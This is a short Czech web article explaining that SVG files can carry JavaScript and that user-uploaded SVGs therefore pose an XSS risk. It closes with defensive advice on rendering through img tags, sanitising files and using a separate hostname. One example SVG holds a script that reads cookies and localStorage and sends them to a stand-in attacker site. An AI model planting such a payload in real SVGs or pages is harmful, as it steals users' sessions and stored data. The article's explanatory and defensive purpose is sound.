logo

JavaScript ve formátu SVG

SVG jsou tak úžasným nástrojem pro vytváření vlastních písem, animací, grafiky se zmenšenou velikostí a dalších. Jsou zčásti HTML, zčásti obrázky a všechny jsou úžasné. Mnoho webů přešlo na SVG namísto JPG, GIF a PNG kvůli flexibilitě, kterou SVG poskytuje.

Jaký je jeden příklad této flexibility? Věděli jste, že JavaScript můžete vložit přímo do svých souborů SVG:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

To je skvělá funkce, ale také bezpečnostní problém, pokud je vložen na stránku tak, jak je. Pokud například uživatel nahraje na váš web SVG s následujícím kódem:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...mohli ukrást soubory cookie, úložiště a další informace prostřednictvím XSS. To je problém. Jedním ze způsobů, jak tomu zabránit, je odstranit JavaScript z SVG, ale můžete jej také vložit jako <img> nebo jako background-image přes CSS:

<img src="/path/to/image.svg" />

Když použijete <img> nebo background-image , JavaScript se nespouští, takže SVG je relativně bezpečné! Stále byste však měli své SVG čistit od špatných věcí a podávat je z jiného názvu hostitele, abyste nesdíleli soubory cookie!